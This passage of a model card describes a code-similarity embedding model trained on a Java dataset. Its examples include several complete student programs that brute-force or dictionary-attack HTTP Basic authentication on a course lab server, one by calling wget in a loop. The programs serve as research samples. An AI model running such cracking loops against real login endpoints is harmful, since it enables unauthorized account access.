\n\t\tcount = 0;\n\t\tfor (int i = 0; i < 52; i++) {\n\n\t\t\tfirstLetterIndex\
\ = i;\n\n\t\t\tfor (int j = 0; j < 52; j++) {\n\n\t\t\t\tsecondLetterIndex =\
\ j;\n\n\t\t\t\tfor (int k = 0; k < 52; k++) {\n\n\t\t\t\t\tthirdLetterIndex =\
\ k;\n\n\t\t\t\t\tpassword = cValidChars[firstLetterIndex]+ cValidChars[secondLetterIndex]+\
\ cValidChars[thirdLetterIndex];\n\t\t\t\t\tSystem.out.println(\"Count: \"+ count+\
\ \" First Index: \"+ firstLetterIndex+ \" Second Index: \"+ secondLetterIndex+\
\ \" Third Index: \"+ thirdLetterIndex+ \" \"+ cValidChars[firstLetterIndex]+\
\ cValidChars[secondLetterIndex]+ cValidChars[thirdLetterIndex]+ \" password:\
\ \"+ password);\n\n\t\t\t client.getState().setCredentials(null, null,\
\ new UsernamePasswordCredentials(userName, password));\n\n\t\t\t\t\t++count;\n\
\n\t\t\t\t\tdivValue = count % NUMBER_OF_GETS_BEFORE_RELEASE;\n\n\n\t\t\t\t\t\
if (divValue == 0) {\n\n\t\t\t\t\t\tSystem.out.println(\"Count: \"+ count+ \"\
\ Div Value: \"+ divValue+ \" Releasing the connection and getting new one\");\n\
\t\t\t\t\t\tgetMethod.releaseConnection();\n\t\t\t\t\t\tgetMethod = null;\n\t\t\
\t\t\t\tgetMethod = new GetMethod(GET_METHOD_HACKER);\n\n\t\t\t\t\t}\n\n\t\t\t\
\ client.executeMethod(getMethod);\n\t\t\t statusLine = getMethod.getStatusLine().toString();\n\
\n\t\t\t\t\tif (statusLine.compareTo(\"HTTP/1.1 200 OK\") == 0) {\n\t\t\t\t\t\t\
System.out.println(\"Found the user name and password for the site. The username\
\ is: \"+ userName+ \" and the password is: \"+ password);\n\t\t\t\t\t\tSystem.exit(0);\n\
\t\t\t\t\t}\n\t\t\t }\n\t\t\t}\n\t\t}\n }\n}\n"
- "import java.net.*;\nimport java.io.*;\nimport java.util.*;\n\npublic class Dictionary\
\ {\n\n public static void main(String[] args) {\n new CrackAttempt();\n\
\ }\n}\n\nclass CrackAttempt {\n public CrackAttempt() {\n final int\
\ MAX_LENGTH = 3;\n boolean auth = false;\n Date = new Date();\n \
\ String file = \"/usr/share/lib/dict/words\";\n String word;\n char[]\
\ password = new char[MAX_LENGTH];\n String resource = \"http://sec-crack.cs.rmit.edu./SEC/2/\"\
;\n\n while (!auth) {\n \n BufferedReader in = null;\n \
\ try {\n \n in = new BufferedReader(new FileReader(file));\n\
\ while ((word = in.readLine()) != null && !auth) {\n \
\ try {\n if (word.length() <= MAX_LENGTH) {\n \
\ password = word.toCharArray();\n \n \
\ Authenticator.setDefault(new CrackAuth(password));\n \
\ URL url = new URL(resource);\n HttpURLConnection conn\
\ = (HttpURLConnection)url.openConnection();\n conn.setRequestMethod(\"\
HEAD\");\n if (conn.getResponseCode() == HttpURLConnection.HTTP_OK)\
\ {\n System.out.println(\"cracked with \" + new String(password));\n\
\ auth = true;\n }\n \
\ }\n } catch (Exception e) {\n System.out.println(\"\
\ was exception: \" + e.getMessage());\n }\n }\n\n \
\ \n } catch (FileNotFoundException fnfe) {\n System.out.println(\"\
File Not Found\");\n } catch (IOException ioe) {\n System.out.println(\"\
IOException\");\n } catch(Exception e) {\n e.printStackTrace();\n\
\ } finally {\n try {\n in.close();\n \
\ } catch (Exception e) {;}\n }\n\n\n }\n if (!auth) {\n\
\ System.out.println(\"Unable determine password\");\n } else {\n\
\ time = (new Date()).getTime() - start.getTime();\n System.out.println(\"\
it took \" + String.valueOf(time) + \" milliseconds crack the password\");\n\
\ }\n }\n}\n\nclass CrackAuth extends Authenticator {\n char[] password;\n\
\ public CrackAuth(char[] password) {\n this.password = password;\n }\n\
\n protected PasswordAuthentication getPasswordAuthentication()\n {\n \
\ String user = \"\";\n return new PasswordAuthentication(user, password);\n\
\ }\n}\n"
- source_sentence: "\n\nimport java.net.*;\nimport java.io.*;\n\npublic class Base64Encoder\n\
{\n private final static char base64Array [] = {\n 'A', 'B', 'C', 'D',\
\ 'E', 'F', 'G', 'H',\n 'I', 'J', 'K', 'L', 'M', 'N', 'O', 'P',\n \
\ 'Q', 'R', 'S', 'T', 'U', 'V', 'W', 'X',\n 'Y', 'Z', 'a', 'b',\
\ 'c', 'd', 'e', 'f',\n 'g', 'h', 'i', 'j', 'k', 'l', 'm', 'n',\n \
\ 'o', 'p', 'q', 'r', 's', 't', 'u', 'v',\n 'w', 'x', 'y', 'z',\
\ '0', '1', '2', '3',\n '4', '5', '6', '7', '8', '9', '+', '/'\n \
\ };\n\n public static String encode (String string)\n {\n String encodedString\
\ = \"\";\n byte bytes [] = string.getBytes ();\n int i = 0;\n \
\ int pad = 0;\n while (i < bytes.length)\n {\n byte b1 = bytes\
\ [i++];\n byte b2;\n byte b3;\n if (i >= bytes.length)\n\
\ {\n b2 = 0;\n b3 = 0;\n pad = 2;\n\
\ }\n else\n {\n b2 = bytes [i++];\n \
\ if (i >= bytes.length)\n {\n b3 = 0;\n \
\ pad = 1;\n }\n else\n b3 = bytes\
\ [i++];\n }\n\n byte c1 = (byte)(b1 >> 2);\n byte c2\
\ = (byte)(((b1 & 0x3) << 4) | (b2 >> 4));\n byte c3 = (byte)(((b2 & 0xf)\
\ << 2) | (b3 >> 6));\n byte c4 = (byte)(b3 & 0x3f);\n encodedString\
\ += base64Array [c1];\n encodedString += base64Array [c2];\n \
\ switch (pad)\n {\n case 0:\n encodedString\
\ += base64Array [c3];\n encodedString += base64Array [c4];\n \
\ break;\n case 1:\n encodedString += base64Array\
\ [c3];\n encodedString += \"=\";\n break;\n \
\ case 2:\n encodedString += \"==\";\n break;\n\
\ }\n }\n return encodedString;\n }\n}\n"
sentences:
- "\nimport java.net.*; \nimport java.io.*; \npublic class BruteForce {\nprivate\
\ static String password=\" \"; \n\n \n public static void main(String[]\
\ args) {\n\t String Result=\"\"; \n\t if (args.length<1)\n\t\t\t {\n\t\t\t\
\ System.out.println(\"Error: Correct Format Filename, username e.g<>\"); \n\
\t\t\t\tSystem.exit(1);\t\n\t\t\t }\n\t\t\t BruteForce bruteForce1 = new BruteForce();\n\
\t\t\t Result=bruteForce1.Password(\"http://sec-crack.cs.rmit.edu./SEC/2/\",args[0]);\
\ \n\t\t\t System.out.println(\"The Password of \"+args[0]+\"is..\"+Result);\
\ \n\t\t\t \n\t\t }\n\n\n\n private String Password(String urlString,String\
\ username) \n { \n int cnt=0;\n \n t0 = System.currentTimeMillis(); \n for\
\ ( char ch = 'A'; ch <= 'z'; ch++ )\n { \n\t\t\t\t\t\t if (ch>'Z' && ch<'a')\n\
\t\t\t\t\t\t { \n\t\t\t\t\t\t ch='a'; \n\t\t\t\t\t\t } \n\t\t\t\t\n\t\t\t\t\
for ( char ch1 = 'A'; ch1 <= 'z'; ch1++ )\n\t\t\t\t { \n\t\t\t\t\t \n\t\t\t\
\t\t\tif (ch1>'Z' && ch1<'a')\n\t\t\t\t\t\t { \n\t\t\t\t\t\t ch1='a'; \n\t\t\
\t\t\t\t }\n\n\n\t\t\t\t\t for ( char ch2 = 'A'; ch2 <= 'z'; ch2++ )\n\t\t\t\
\t\t\t { \n\t\t\t\t\t\t\tif (ch2>'Z' && ch2<'a')\n\t\t\t\t\t\t { \n\t\t\t\t\t\t\
\ ch2='a'; \n\t\t\t\t\t\t }\n\t\t\t\t\t\t\tpassword=String.valueOf(ch)+String.valueOf(ch1)+String.valueOf(ch2);\n\
\t\t\t\t\t\t\t\tSystem.out.print(\"crackin...:\"); \n\t\t\t\t\t \tSystem.out.print(\"\
\\b\\b\\b\\b\\b\\b\\b\\b\\b\\b\\b\" ); \n\t\t\t\t\t\ttry\n\t\t\t\t\t\t{\n\t\t\t\
\t\t\n\t\t\t\t\n\t\t\t\t\n\t\t\t\tURL url = new URL (urlString);\n\t\t\t\tString\
\ userPassword=username+\":\"+password; \n\n \n\t\t String encoding =\
\ new url.misc.BASE64Encoder().encode (userPassword.getBytes());\n\t\t\t URLConnection\
\ conc= url.openConnection(); \n\t\t\t\t\t conc.setRequestProperty (\"Authorization\"\
, \" \" + encoding);\t\t\t \n\t\t\t\t\t conc.connect(); \n\t\t\t\t\t\tcnt++;\n\
\t\t\t\t\t if (conc.getHeaderField(0).trim().equalsIgnoreCase(\"HTTP/1.1 200\
\ OK\"))\n\t\t\t\t\t\t {\n\t\t\t\t\t\t\t t1 = System.currentTimeMillis(); \n\t\
\t\t\t\t\t\t net=t1-t0; \n\t\t\t\t\t\t\tSystem.out.println(\"\
The Number of Attempts \"+cnt); \n\t\t\t\t\t\t\tSystem.out.println(\"Total Time\
\ Taken in secs\"+net/1000); \n\t\t\t\t\t\t\treturn password; \n\t\t\t\t\t\t\
}\n\t\t\t\t\t\n\t\t\t\t}\n\n\t\t \tcatch (Exception e )\n\t\t\t\t{\n\t\t\t\
\t e.printStackTrace(); \n\n\t\t\t\t}\n\n\t\t\t\n\t\t \n\t\t \n\t\t }\n\
\t\t \n\n\n\n \n \n\t } \n \n \n\t\
} \n return \"Password could not found\"; \n\n }\n\n\n}"
- "import java.net.*;\nimport java.io.*;\nimport java.*;\n\n public class BruteForce\
\ {\n\n URLConnection conn = null;\n private static boolean status = false;\n\
\n public static void main (String args[]){\n BruteForce a = new BruteForce();\n\
\ String[] inp = {\"http://sec-crack.cs.rmit.edu./SEC/2/index.php\",\n \
\ \t\t\t\t \"\",\n \t\t\t\t \"\"};\n int attempts = 0;\n exit:\n\
\ for (int i=0;i<pwdArray.length;i++) {\n\t\t for (int j=0;j<pwdArray.length;j++)\
\ {\n\t\t\t for (int k=0;k<pwdArray.length;k++) {\n\t\t\t\t if (pwdArray[i] ==\
\ ' ' && pwdArray[j] != ' ') continue;\n\t\t\t\t if (pwdArray[j] == ' ' && pwdArray[k]\
\ != ' ') continue;\n\t\t\t\t inp[2] = inp[2] + pwdArray[i] + pwdArray[j] + pwdArray[k];\n\
\t\t\t\t attempts++;\n \t\t\t a.doit(inp);\n \n \t\t\t\t if (status) {\n\
\t\t\t\t\t System.out.println(\"Crrect password is: \" + inp[2]);\n\t\t\t\t\t\
\ System.out.println(\"Number of attempts = \" + attempts);\n\t\t\t\t\t break\
\ exit;\n\t\t\t \t }\n \t\t\t inp[2] = \"\";\n\t\t \t }\n\t \t }\n }\n\
\ }\n\n public void doit(String args[]) {\n \n try {\n BufferedReader\
\ in = new BufferedReader(\n new InputStreamReader\n (connectURL(new\
\ URL(args[0]), args[1], args[2])));\n String line;\n while ((line\
\ = in.readLine()) != null) {\n System.out.println(line);\n \
\ status = true;\n }\n }\n catch (IOException e) {\n \n\
\ }\n }\n\n public InputStream connectURL (URL url, String uname,\
\ String pword)\n throws IOException {\n conn = url.openConnection();\n\
\ conn.setRequestProperty (\"Authorization\",\n userNamePasswordBase64(uname,pword));\n\
\ conn.connect ();\n return conn.getInputStream();\n }\n\n public\
\ String userNamePasswordBase64(String username, String password) {\n return\
\ \" \" + base64Encode (username + \":\" + password);\n }\n\n private final\
\ static char pwdArray [] = {\n\t 'a', 'b', 'c', 'd', 'e', 'f', 'g', 'h',\n\
\t 'i', 'j', 'k', 'l', 'm', 'n', 'o', 'p',\n\t 'q', 'r', 's', 't',\
\ 'u', 'v', 'w', 'x',\n\t 'y', 'z', 'A', 'B', 'C', 'D', 'E', 'F',\n\t \
\ 'G', 'H', 'I', 'J', 'K', 'L', 'M', 'N',\n\t 'O', 'P', 'Q', 'R',\
\ 'S', 'T', 'U', 'V',\n\t 'W', 'X', 'Y', 'Z', ' '\n };\n\n private final\
\ static char base64Array [] = {\n 'A', 'B', 'C', 'D', 'E', 'F', 'G', 'H',\n\
\ 'I', 'J', 'K', 'L', 'M', 'N', 'O', 'P',\n 'Q', 'R', 'S', 'T', 'U',\
\ 'V', 'W', 'X',\n 'Y', 'Z', 'a', 'b', 'c', 'd', 'e', 'f',\n 'g',\
\ 'h', 'i', 'j', 'k', 'l', 'm', 'n',\n 'o', 'p', 'q', 'r', 's', 't', 'u',\
\ 'v',\n 'w', 'x', 'y', 'z', '0', '1', '2', '3',\n '4', '5', '6',\
\ '7', '8', '9', '+', '/'\n };\n\n private static String base64Encode (String\
\ string) {\n String encodedString = \"\";\n byte bytes [] = string.getBytes\
\ ();\n int i = 0;\n int pad = 0;\n while (i < bytes.length) {\n \
\ byte b1 = bytes [i++];\n byte b2;\n byte b3;\n if (i\
\ >= bytes.length) {\n b2 = 0;\n b3 = 0;\n pad = 2;\n\
\ }\n else {\n b2 = bytes [i++];\n if (i >= bytes.length)\
\ {\n b3 = 0;\n pad = 1;\n }\n else\n\
\ b3 = bytes [i++];\n }\n byte c1 = (byte)(b1 >> 2);\n\
\ byte c2 = (byte)(((b1 & 0x3) << 4) | (b2 >> 4));\n byte c3 = (byte)(((b2\
\ & 0xf) << 2) | (b3 >> 6));\n byte c4 = (byte)(b3 & 0x3f);\n encodedString\
\ += base64Array [c1];\n encodedString += base64Array [c2];\n switch\
\ (pad) {\n case 0:\n encodedString += base64Array [c3];\n \
\ encodedString += base64Array [c4];\n break;\n case 1:\n\
\ encodedString += base64Array [c3];\n encodedString += \"=\"\
;\n break;\n case 2:\n encodedString += \"==\";\n \
\ break;\n }\n }\n return encodedString;\n }\n }\n\n"
- "\nimport java.io.*;\nimport java.awt.*;\nimport java.net.*;\n\npublic class BruteForce\n\
{\n\tpublic static void main (String[] args)\n\t{\n\t\tString pw = new String();\n\
\t\tpw = getPassword ();\n\t\tSystem.out.println(\"Password is: \"+pw);\n\t}\n\
\tpublic static String getPassword()\n\t{\n\t\tString passWord = new String();\n\
\t\tpassWord = \"AAA\";\n\t\tchar[] guess = passWord.toCharArray();\n\t\tProcess\
\ pro = null;\n\t\tRuntime runtime = Runtime.getRuntime();\n\t\tBufferedReader\
\ in = null;\n\t\tString str=null;\n\t\tboolean found = true;\n\n\t\tSystem.out.println(\"\
\ attacking.....\");\n\t\tfor (int i=65;i<=122 ;i++ )\n\t\t{\n\t\t\tguess[0]=(char)(i);\n\
\ for (int j=65;j<=122 ;j++ )\n\t\t\t{\n\t\t\t\tguess[1]=(char)(j);\n\
\ for (int k=65 ;k<=122 ;k++ )\n\t\t\t\t{\n\t\t\t\t\tguess[2]=(char)(k);\n\
\t\t\t\t\tpassWord = new String(guess);\n\t\t\t\t\tString cmd = \"wget --http-user=\
\ --http-passwd=\"+passWord +\" http://sec-crack.cs.rmit.edu./SEC/2/index.php\
\ \";\n\t\t\t\t\ttry\n\t\t\t\t\t{\n\t\t\t\t\t\tpro = runtime.exec(cmd);\n\n\t\t\
\t\t\t\tin = new BufferedReader(new InputStreamReader(pro.getErrorStream()));\n\
\t\t\t\t\t\tfound = true;\n\t\t\t\t\t\tif((str=in.readLine())!=null)\n\t\t\t\t\
\t\t{\n\t\t\t\t\t\t\twhile ((str=in.readLine())!=null)\n\t\t\t\t\t\t\t{\n\t\t\t\
\t\t\t\t\tif (str.endsWith(\"Required\"))\n\t\t\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\t\
\tfound = false;\n\t\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\tif (found\
\ == true)\n\t\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\treturn passWord;\n\t\t\t\t\t\t\t\
}\n\t\t\t\t\t\t}\n\t\t\t\t\t}\n\t\t\t\t\tcatch (Exception exception)\n\t\t\t\t\
\t{\n\t\t\t\t\t exception.getMessage();\n\t\t\t\t\t}\n\t\t\t\t\tif(k==90)\n\
\t\t\t\t\t\tk=96;\n\t\t\t\t\truntime.gc();\n\t\t\t\t}\n\t\t\t\tif(j==90)\n\t\t\
\t\t\tj=96;\n\t\t\t}\n\t\t\tif(i==90)\n\t\t\t\ti=96;\n\t\t}\n\t\treturn \"not\
\ found\";\n\t}\n}"
datasets:
- buelfhood/SOCO_TRAIN_java
pipeline_tag: sentence-similarity
library_name: sentence-transformers
---
# SentenceTransformer based on huggingface/CodeBERTa-small-v1
This is a [sentence-transformers](https://www.SBERT.net) model finetuned from [huggingface/CodeBERTa-small-v1](https://huggingface.co/huggingface/CodeBERTa-small-v1) on the [soco_train_java](https://huggingface.co/datasets/buelfhood/SOCO_TRAIN_java) dataset. It maps sentences & paragraphs to a 768-dimensional dense vector space and can be used for semantic textual similarity, semantic search, paraphrase mining, text classification, clustering, and more.
## Model Details
### Model Description
- **Model Type:** Sentence Transformer
- **Base model:** [huggingface/CodeBERTa-small-v1](https://huggingface.co/huggingface/CodeBERTa-small-v1) <!-- at revision e93b5898cff07f03f1c1c09cde284d1b85962363 -->
- **Maximum Sequence Length:** 512 tokens
- **Output Dimensionality:** 768 dimensions
- **Similarity Function:** Cosine Similarity
- **Training Dataset:**
- [soco_train_java](https://huggingface.co/datasets/buelfhood/SOCO_TRAIN_java)
<!-- - **Language:** Unknown -->
<!-- - **License:** Unknown -->
### Model Sources
- **Documentation:** [Sentence Transformers Documentation](https://sbert.net)
- **Repository:** [Sentence Transformers on GitHub](https://github.com/UKPLab/sentence-transformers)
- **Hugging Face:** [Sentence Transformers on Hugging Face](https://huggingface.co/models?library=sentence-transformers)
### Full Model Architecture
```
SentenceTransformer(
(0): Transformer({'max_seq_length': 512, 'do_lower_case': False, 'architecture': 'RobertaModel'})
(1): Pooling({'word_embedding_dimension': 768, 'pooling_mode_cls_token': False, 'pooling_mode_mean_tokens': True, 'pooling_mode_max_tokens': False, 'pooling_mode_mean_sqrt_len_tokens': False, 'pooling_mode_weightedmean_tokens': False, 'pooling_mode_lasttoken': False, 'include_prompt': True})
)
```
## Usage
### Direct Usage (Sentence Transformers)
First install the Sentence Transformers library:
```bash
pip install -U sentence-transformers
```
Then you can load this model and run inference.
```python
from sentence_transformers import SentenceTransformer
# Download from the 🤗 Hub
model = SentenceTransformer("buelfhood/SOCO-Java-codeberta-cmnrl-triplets-ep1-bs16-lr5e-05-split0.2")
# Run inference
sentences = [
'\n\nimport java.net.*;\nimport java.io.*;\n\npublic class Base64Encoder\n{\n private final static char base64Array [] = {\n \'A\', \'B\', \'C\', \'D\', \'E\', \'F\', \'G\', \'H\',\n \'I\', \'J\', \'K\', \'L\', \'M\', \'N\', \'O\', \'P\',\n \'Q\', \'R\', \'S\', \'T\', \'U\', \'V\', \'W\', \'X\',\n \'Y\', \'Z\', \'a\', \'b\', \'c\', \'d\', \'e\', \'f\',\n \'g\', \'h\', \'i\', \'j\', \'k\', \'l\', \'m\', \'n\',\n \'o\', \'p\', \'q\', \'r\', \'s\', \'t\', \'u\', \'v\',\n \'w\', \'x\', \'y\', \'z\', \'0\', \'1\', \'2\', \'3\',\n \'4\', \'5\', \'6\', \'7\', \'8\', \'9\', \'+\', \'/\'\n };\n\n public static String encode (String string)\n {\n String encodedString = "";\n byte bytes [] = string.getBytes ();\n int i = 0;\n int pad = 0;\n while (i < bytes.length)\n {\n byte b1 = bytes [i++];\n byte b2;\n byte b3;\n if (i >= bytes.length)\n {\n b2 = 0;\n b3 = 0;\n pad = 2;\n }\n else\n {\n b2 = bytes [i++];\n if (i >= bytes.length)\n {\n b3 = 0;\n pad = 1;\n }\n else\n b3 = bytes [i++];\n }\n\n byte c1 = (byte)(b1 >> 2);\n byte c2 = (byte)(((b1 & 0x3) << 4) | (b2 >> 4));\n byte c3 = (byte)(((b2 & 0xf) << 2) | (b3 >> 6));\n byte c4 = (byte)(b3 & 0x3f);\n encodedString += base64Array [c1];\n encodedString += base64Array [c2];\n switch (pad)\n {\n case 0:\n encodedString += base64Array [c3];\n encodedString += base64Array [c4];\n break;\n case 1:\n encodedString += base64Array [c3];\n encodedString += "=";\n break;\n case 2:\n encodedString += "==";\n break;\n }\n }\n return encodedString;\n }\n}\n',
'import java.net.*;\nimport java.io.*;\nimport java.*;\n\n public class BruteForce {\n\n URLConnection conn = null;\n private static boolean status = false;\n\n public static void main (String args[]){\n BruteForce a = new BruteForce();\n String[] inp = {"http://sec-crack.cs.rmit.edu./SEC/2/index.php",\n \t\t\t\t "",\n \t\t\t\t ""};\n int attempts = 0;\n exit:\n for (int i=0;i<pwdArray.length;i++) {\n\t\t for (int j=0;j<pwdArray.length;j++) {\n\t\t\t for (int k=0;k<pwdArray.length;k++) {\n\t\t\t\t if (pwdArray[i] == \' \' && pwdArray[j] != \' \') continue;\n\t\t\t\t if (pwdArray[j] == \' \' && pwdArray[k] != \' \') continue;\n\t\t\t\t inp[2] = inp[2] + pwdArray[i] + pwdArray[j] + pwdArray[k];\n\t\t\t\t attempts++;\n \t\t\t a.doit(inp);\n \n \t\t\t\t if (status) {\n\t\t\t\t\t System.out.println("Crrect password is: " + inp[2]);\n\t\t\t\t\t System.out.println("Number of attempts = " + attempts);\n\t\t\t\t\t break exit;\n\t\t\t \t }\n \t\t\t inp[2] = "";\n\t\t \t }\n\t \t }\n }\n }\n\n public void doit(String args[]) {\n \n try {\n BufferedReader in = new BufferedReader(\n new InputStreamReader\n (connectURL(new URL(args[0]), args[1], args[2])));\n String line;\n while ((line = in.readLine()) != null) {\n System.out.println(line);\n status = true;\n }\n }\n catch (IOException e) {\n \n }\n }\n\n public InputStream connectURL (URL url, String uname, String pword)\n throws IOException {\n conn = url.openConnection();\n conn.setRequestProperty ("Authorization",\n userNamePasswordBase64(uname,pword));\n conn.connect ();\n return conn.getInputStream();\n }\n\n public String userNamePasswordBase64(String username, String password) {\n return " " + base64Encode (username + ":" + password);\n }\n\n private final static char pwdArray [] = {\n\t \'a\', \'b\', \'c\', \'d\', \'e\', \'f\', \'g\', \'h\',\n\t \'i\', \'j\', \'k\', \'l\', \'m\', \'n\', \'o\', \'p\',\n\t \'q\', \'r\', \'s\', \'t\', \'u\', \'v\', \'w\', \'x\',\n\t \'y\', \'z\', \'A\', \'B\', \'C\', \'D\', \'E\', \'F\',\n\t \'G\', \'H\', \'I\', \'J\', \'K\', \'L\', \'M\', \'N\',\n\t \'O\', \'P\', \'Q\', \'R\', \'S\', \'T\', \'U\', \'V\',\n\t \'W\', \'X\', \'Y\', \'Z\', \' \'\n };\n\n private final static char base64Array [] = {\n \'A\', \'B\', \'C\', \'D\', \'E\', \'F\', \'G\', \'H\',\n \'I\', \'J\', \'K\', \'L\', \'M\', \'N\', \'O\', \'P\',\n \'Q\', \'R\', \'S\', \'T\', \'U\', \'V\', \'W\', \'X\',\n \'Y\', \'Z\', \'a\', \'b\', \'c\', \'d\', \'e\', \'f\',\n \'g\', \'h\', \'i\', \'j\', \'k\', \'l\', \'m\', \'n\',\n \'o\', \'p\', \'q\', \'r\', \'s\', \'t\', \'u\', \'v\',\n \'w\', \'x\', \'y\', \'z\', \'0\', \'1\', \'2\', \'3\',\n \'4\', \'5\', \'6\', \'7\', \'8\', \'9\', \'+\', \'/\'\n };\n\n private static String base64Encode (String string) {\n String encodedString = "";\n byte bytes [] = string.getBytes ();\n int i = 0;\n int pad = 0;\n while (i < bytes.length) {\n byte b1 = bytes [i++];\n byte b2;\n byte b3;\n if (i >= bytes.length) {\n b2 = 0;\n b3 = 0;\n pad = 2;\n }\n else {\n b2 = bytes [i++];\n if (i >= bytes.length) {\n b3 = 0;\n pad = 1;\n }\n else\n b3 = bytes [i++];\n }\n byte c1 = (byte)(b1 >> 2);\n byte c2 = (byte)(((b1 & 0x3) << 4) | (b2 >> 4));\n byte c3 = (byte)(((b2 & 0xf) << 2) | (b3 >> 6));\n byte c4 = (byte)(b3 & 0x3f);\n encodedString += base64Array [c1];\n encodedString += base64Array [c2];\n switch (pad) {\n case 0:\n encodedString += base64Array [c3];\n encodedString += base64Array [c4];\n break;\n case 1:\n encodedString += base64Array [c3];\n encodedString += "=";\n break;\n case 2:\n encodedString += "==";\n break;\n }\n }\n return encodedString;\n }\n }\n\n',
'\nimport java.io.*;\nimport java.awt.*;\nimport java.net.*;\n\npublic class BruteForce\n{\n\tpublic static void main (String[] args)\n\t{\n\t\tString pw = new String();\n\t\tpw = getPassword ();\n\t\tSystem.out.println("Password is: "+pw);\n\t}\n\tpublic static String getPassword()\n\t{\n\t\tString passWord = new String();\n\t\tpassWord = "AAA";\n\t\tchar[] guess = passWord.toCharArray();\n\t\tProcess pro = null;\n\t\tRuntime runtime = Runtime.getRuntime();\n\t\tBufferedReader in = null;\n\t\tString str=null;\n\t\tboolean found = true;\n\n\t\tSystem.out.println(" attacking.....");\n\t\tfor (int i=65;i<=122 ;i++ )\n\t\t{\n\t\t\tguess[0]=(char)(i);\n for (int j=65;j<=122 ;j++ )\n\t\t\t{\n\t\t\t\tguess[1]=(char)(j);\n for (int k=65 ;k<=122 ;k++ )\n\t\t\t\t{\n\t\t\t\t\tguess[2]=(char)(k);\n\t\t\t\t\tpassWord = new String(guess);\n\t\t\t\t\tString cmd = "wget --http-user= --http-passwd="+passWord +" http://sec-crack.cs.rmit.edu./SEC/2/index.php ";\n\t\t\t\t\ttry\n\t\t\t\t\t{\n\t\t\t\t\t\tpro = runtime.exec(cmd);\n\n\t\t\t\t\t\tin = new BufferedReader(new InputStreamReader(pro.getErrorStream()));\n\t\t\t\t\t\tfound = true;\n\t\t\t\t\t\tif((str=in.readLine())!=null)\n\t\t\t\t\t\t{\n\t\t\t\t\t\t\twhile ((str=in.readLine())!=null)\n\t\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\tif (str.endsWith("Required"))\n\t\t\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\t\tfound = false;\n\t\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\tif (found == true)\n\t\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\treturn passWord;\n\t\t\t\t\t\t\t}\n\t\t\t\t\t\t}\n\t\t\t\t\t}\n\t\t\t\t\tcatch (Exception exception)\n\t\t\t\t\t{\n\t\t\t\t\t exception.getMessage();\n\t\t\t\t\t}\n\t\t\t\t\tif(k==90)\n\t\t\t\t\t\tk=96;\n\t\t\t\t\truntime.gc();\n\t\t\t\t}\n\t\t\t\tif(j==90)\n\t\t\t\t\tj=96;\n\t\t\t}\n\t\t\tif(i==90)\n\t\t\t\ti=96;\n\t\t}\n\t\treturn "not found";\n\t}\n}',
]
embeddings = model.encode(sentences)
print(embeddings.shape)
# [3, 768]
# Get the similarity scores for the embeddings
similarities = model.similarity(embeddings, embeddings)
print(similarities)
# tensor([[1.0000, 0.8644, 0.1234],
# [0.8644, 1.0000, 0.0765],
# [0.1234, 0.0765, 1.0000]])
```
<!--
### Direct Usage (Transformers)
<details><summary>Click to see the direct usage in Transformers</summary>
</details>
-->
<!--
### Downstream Usage (Sentence Transformers)
You can finetune this model on your own dataset.
<details><summary>Click to expand</summary>
</details>
-->
<!--
### Out-of-Scope Use
*List how the model may foreseeably be misused and address what users ought not to do with the model.*
-->
<!--
## Bias, Risks and Limitations
*What are the known or foreseeable issues stemming from this model? You could also flag here known failure cases or weaknesses of the model.*
-->
<!--
### Recommendations
*What are recommendations with respect to the foreseeable issues? For example, filtering explicit content.*
-->
## Training Details
### Training Dataset
#### soco_train_java
* Dataset: [soco_train_java](https://huggingface.co/datasets/buelfhood/SOCO_TRAIN_java) at [44ca4ff](https://huggingface.co/datasets/buelfhood/SOCO_TRAIN_java/tree/44ca4ff546c090153d7903c15aeda036891ec476)
* Size: 34,368 training samples
* Columns: <code>anchor_code</code>, <code>positive_code</code>, and <code>negative_code</code>
* Approximate statistics based on the first 1000 samples:
| | anchor_code | positive_code | negative_code |
|:--------|:-------------------------------------------------------------------------------------|:-------------------------------------------------------------------------------------|:-------------------------------------------------------------------------------------|
| type | string | string | string |
| details | <ul><li>min: 51 tokens</li><li>mean: 465.94 tokens</li><li>max: 512 tokens</li></ul> | <ul><li>min: 51 tokens</li><li>mean: 466.25 tokens</li><li>max: 512 tokens</li></ul> | <ul><li>min: 51 tokens</li><li>mean: 458.71 tokens</li><li>max: 512 tokens</li></ul> |
* Samples:
| anchor_code | positive_code | negative_code |
|:------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------|:---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------|:------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------|
